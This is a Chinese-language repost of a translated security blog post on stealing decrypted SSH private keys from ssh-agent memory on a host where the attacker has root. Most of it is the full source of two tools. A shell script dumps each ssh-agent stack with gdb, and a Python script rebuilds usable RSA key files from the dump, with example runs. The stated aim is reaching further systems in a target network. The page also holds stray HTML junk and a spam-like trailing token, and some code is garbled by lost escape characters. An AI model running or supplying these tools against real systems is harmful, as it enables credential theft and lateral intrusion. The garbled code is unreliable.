<dd id="sga4y"><optgroup id="sga4y"></optgroup></dd>
<nav id="sga4y"><code id="sga4y"></code></nav>
  • <optgroup id="sga4y"></optgroup>

    原文地址:http://drops.wooyun.org/tips/2719

    from:https://www.netspi.com/blog/entryid/235/stealing-unencrypted-ssh-agent-keys-from-memory

    0x01 背景


    如果你曾經使用過SSH密鑰來管理多臺設備,那么你很可能已經用過SSH-agent了。這個工具是用來在內存中保存SSH密鑰的,這樣用戶就不需要每次都輸入他們的口令了。然而,這可能招致一些安全威脅。一個以root權限運行的用戶可能足以從內存中取出解密后的SSH密鑰并重新構造。 由于需要root權限,這個攻擊看上去很雞肋。比如說,一個攻擊者可以安裝一個鍵盤記錄器并用之獲取SSH密鑰。然而,這樣會導致攻擊者必須等待目標輸入他們SSH密鑰的口令。這可能要花上幾個小時,幾天,甚至幾個星期,取決于目標登出的頻率。這也是從內存中獲取SSH密鑰為什么對于迅速拿下其他機器非常重要

    0x02 使用 SSH-agent


    使用SSH-agent的一個通用的方法是啟動"SSH-agent bash"然后用"SSH-add"把密鑰添加到agent中。一旦添加完,這個密鑰將會在SSH-agent的棧中保存直到進程結束、另一密鑰加入、或者用戶使用SSH-add的-d或者-D選項為止。大多數人只會運行SSH-agent然后就忘掉這回事直到重啟。

    0x03 從內存中取SSH密鑰


    有很多種方式可以建立一個SSH-agents的內存鏡像。最簡單的方法是通過gdb的功能。Gdb使用了ptrace調用來連接SSH-agent。這給gdb提供了必要的截取內存以及運行進程的權限。grabagentmem.sh腳本提供了一種自動化截取內存的方式。默認情況下,當其運行時它會為每一個SSH-agent進程的棧創建一個內存鏡像。這些文件被命名為SSHagent-PID.stack

    [email protected]:/tmp# grabagentmem.sh 
    Created /tmp/SSHagent-17019.stack 
    

    如果gdb在系統中不可用,那么也可以獲取整個系統的內存鏡像然后暴力解出SSH-agent進程的棧的內存。然而,這個做法不在我們本文的討論范圍之內。

    0x04 從內存鏡像中解析出SSH密鑰


    一旦我們獲得了棧的副本那么我們就可以從這個文件里解析出密鑰了。然而,在這個棧中保存的密鑰和SSH-keygen生成的密鑰格式不同。這就是parse_mem.py腳本好用的地方。這段腳本需要安裝pyasn1 python模塊。如果安裝好了就可以用這腳本對付內存文件了。如果那個內存文件中包含了一個有效的RSA SSH密鑰,那么它將會把它保存到硬盤上。這工具未來的版本還可能支持額外的密鑰類型,比如說DSA, ECDSA, ED25519, 和 RSA1

    [email protected]:/tmp# parse_mem.py /tmp/SSHagent-17019.stack /tmp/key
    Found rsa key
    Creating rsa key: /tmp/key.rsa 
    

    這個key.rsa文件之后就可以被用來做SSH命令的-i參數,這就跟原始的用戶密鑰一模一樣,只不過不再需要口令來解鎖了。 獲取有效的,可用的SSH密鑰可以幫助滲透測試人員更加深入目標網絡。密鑰常常被用戶在多個賬戶上使用。包括服務器的root賬戶。也可能服務器被配置為只允許密鑰登陸。擁有一個解密了的密鑰可以讓當前環境下的行動更加簡單。


    附1:譯者測試截圖

    enter image description here

    enter image description here

    附2:文中涉及腳本

    grabagentmem.sh:

    #!/bin/bash
    
    # First argument is the output directory.  Use /tmp if this is not specified.
    outputdir="/tmp"
    
    # Grab pids for each ssh-agent
    sshagentpids=$(ps --no-headers -fC ssh-agent | awk '{print $2}')
    
    # Iterate through the pids and create a memory dump of the stack for each
    for pid in $sshagentpids; do
        stackmem="$(grep stack /proc/$pid/maps | sed -n 's/^([0-9a-f]*)-([0-9a-f]*) .*$/1 2/p')"
        startstack=$(echo $stackmem | awk '{print $1}')
        stopstack=$(echo $stackmem | awk '{print $2}')
    
        gdb --batch -pid $pid -ex "dump memory $outputdir/sshagent-$pid.stack 0x$startstack 0x$stopstack" 2&>1 >/dev/null 
    
        # GDB doesn't error out properly if this fails.  
        # This will provide feedback if the file is actually created
        if [ -f "$outputdir/sshagent-$pid.stack" ]; then
            echo "Created $outputdir/sshagent-$pid.stack"
        else
            echo "Error dumping memory from $pid"
        fi
    done
    

    parse_mem.py:

    #!/usr/bin/python
    
    import sys
    import base64
    from pyasn1.type import univ
    from pyasn1.codec.der import encoder
    
    
    class sshkeyparse:
        """ This class is designed to parse a memory dump of ssh-agent and create
        unencrypted ssh keys that can then be used to gain access to other
        systems"""
        keytypes = {
            'rsa': "ssh-rsa",
            'dsa': "ssh-dss",
            'ecsda': "ecdsa-sha2-nisp256",
            'ed25519': "ssh-ed25519"
        }
    
        def read(self, memdump):
            """ Reads a file and stories it in self.mem"""
            self.inputfile = memdump
            file = open(memdump, 'rb')
            self.mem = "".join(file.readlines())
            file.close()
    
        def unpack_bigint(self, buf):
            """Turn binary chunk into integer"""
    
            v = 0
            for c in buf:
                v *= 256
                v += ord(c)
    
            return v
    
        def search_key(self):
            """Searches for keys in self.mem"""
    
            keysfound = {}
    
            for type in self.keytypes:
                magic = self.mem.find(self.keytypes[type])
    
                if magic is not -1:
                    keysfound[magic] = type
    
            if keysfound:
                print ("Found %s key" % keysfound[sorted(keysfound)[0]])
                self.mem = self.mem[sorted(keysfound)[0]:]
                self.type = keysfound[sorted(keysfound)[0]]
                return 1
    
            if not keysfound:
                return -1
    
        def getkeys(self, output):
            """ Parses for keys stored in ssh-agent's stack """
    
            keynum = 0
            validkey = 0
    
            validkey = self.search_key()
            while validkey != -1:
    
                if keynum == 0:
                    keynum += 1
                    self.create_key(output)
    
                else:
                    keynum += 1
                    self.create_key((output + "." + str(keynum)))
    
                validkey = self.search_key()
    
            if keynum == 0:
                # Did not find a valid key type
                print ("A saved key was not found in %s" % self.inputfile)
                print ("The user may not have loaded a key or the key loaded is " +
                       "not supported.")
                sys.exit(1)
            else:
                return
    
        # Detect type of key and run key creation
        def create_key(self, output):
            """Creates key files"""
    
            output = output + "." + self.type
    
            if self.type is "rsa":
                self.create_rsa(output)
                print ("Creating %s key: %s" % (self.type, output))
            if self.type is "dsa":
                self.create_dsa(output)
                print ("Creating %s key: %s" % (self.type, output))
            else:
                print ("%s key type is not currently supported." % self.type)
                sys.exit(3)
    
        def create_dsa(self, output):
            """Create DSA SSH key file"""
            if self.mem[0:7] == "ssh-dss":
                print ("DSA SSH Keys are not currently supported.")
                self.mem = self.mem[start+size:]
    
            else:
                print ("Error: This is not a DSA SSH key file")
                sys.exit(2)
    
        def create_rsa(self, output):
            """Create RSA SSH key file"""
            if self.mem[0:7] == "ssh-rsa":
    
                # FIXME: This needs to be cleaned up.
                start = 10
                size = self.unpack_bigint(self.mem[start:(start+2)])
                start += 2
                n = self.unpack_bigint(self.mem[start:(start+size)])
                start = start + size + 2
                size = self.unpack_bigint(self.mem[start:(start+2)])
                start += 2
                e = self.unpack_bigint(self.mem[start:(start+size)])
                start = start + size + 2
                size = self.unpack_bigint(self.mem[start:(start+2)])
                start += 2
                d = self.unpack_bigint(self.mem[start:(start+size)])
                start = start + size + 2
                size = self.unpack_bigint(self.mem[start:(start+2)])
                start += 2
                c = self.unpack_bigint(self.mem[start:(start+size)])
                start = start + size + 2
                size = self.unpack_bigint(self.mem[start:(start+2)])
                start += 2
                p = self.unpack_bigint(self.mem[start:(start+size)])
                start = start + size + 2
                size = self.unpack_bigint(self.mem[start:(start+2)])
                start += 2
                q = self.unpack_bigint(self.mem[start:(start+size)])
    
                e1 = d % (p - 1)
                e2 = d % (q - 1)
    
                self.mem = self.mem[start+size:]
    
            else:
                print ("Error: This is not a RSA SSH key file")
                sys.exit(2)
    
            seq = (
                univ.Integer(0),
                univ.Integer(n),
                univ.Integer(e),
                univ.Integer(d),
                univ.Integer(p),
                univ.Integer(q),
                univ.Integer(e1),
                univ.Integer(e2),
                univ.Integer(c),
                )
    
            struct = univ.Sequence()
    
            for i in xrange(len(seq)):
                struct.setComponentByPosition(i, seq[i])
    
            raw = encoder.encode(struct)
            data = base64.b64encode(raw)
    
            # chop data up into lines of certain width
            width = 64
            chopped = [data[i:i + width] for i in xrange(0, len(data), width)]
            # assemble file content
            content = """-----BEGIN RSA PRIVATE KEY-----
    %s
    -----END RSA PRIVATE KEY-----
    """ % 'n'.join(chopped)
            output = open(output, 'w')
            output.write(content)
            output.close()
    
    # MAIN
    
    keystart = sshkeyparse()
    keystart.read(sys.argv[1])
    keystart.getkeys(sys.argv[2])
    

    97av